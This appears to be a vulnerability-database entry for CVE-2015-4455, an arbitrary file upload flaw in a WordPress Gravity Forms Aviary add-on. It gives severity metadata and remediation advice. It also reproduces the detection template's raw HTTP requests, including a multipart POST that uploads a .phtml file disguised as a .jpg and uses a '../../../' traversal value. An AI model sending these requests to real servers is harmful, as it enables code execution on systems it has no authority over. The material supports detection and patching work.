| Title | WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload |
|---|---|
| Author | MaStErChO |
| Severity | Critical |
| Impact | Remote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise. |
| Remediation | Implement strict file validation and sanitization, restrict upload types, and update to the latest plugin version. |
| CVSS Score | 9.8 |
| EPSS Score | 0.80327 |
| CVE ID | CVE-2015-4455 |
| CWE ID | CWE-434 |
| Tags | cve cve2015 packetstorm intrusive file-upload wordpress aviary_image_editor_add-on_for_gravity_forms_project vkev vuln |
Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
GET /?gf_page=upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /?gf_page=upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa
Accept-Encoding: gzip
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="field_id"
3
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="form_id"
1
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="gform_unique_id"
../../../
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="name"
scDKxyYt.phtml
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="file"; filename="scDKxyYt.jpg"
Content-Type: text/html
38FigTwfnXOkw2XuhHvVpTIucYp
--a54906fe12c504cb01ca836d062f82fa--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-4455.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-4455.pcap
N/AN/A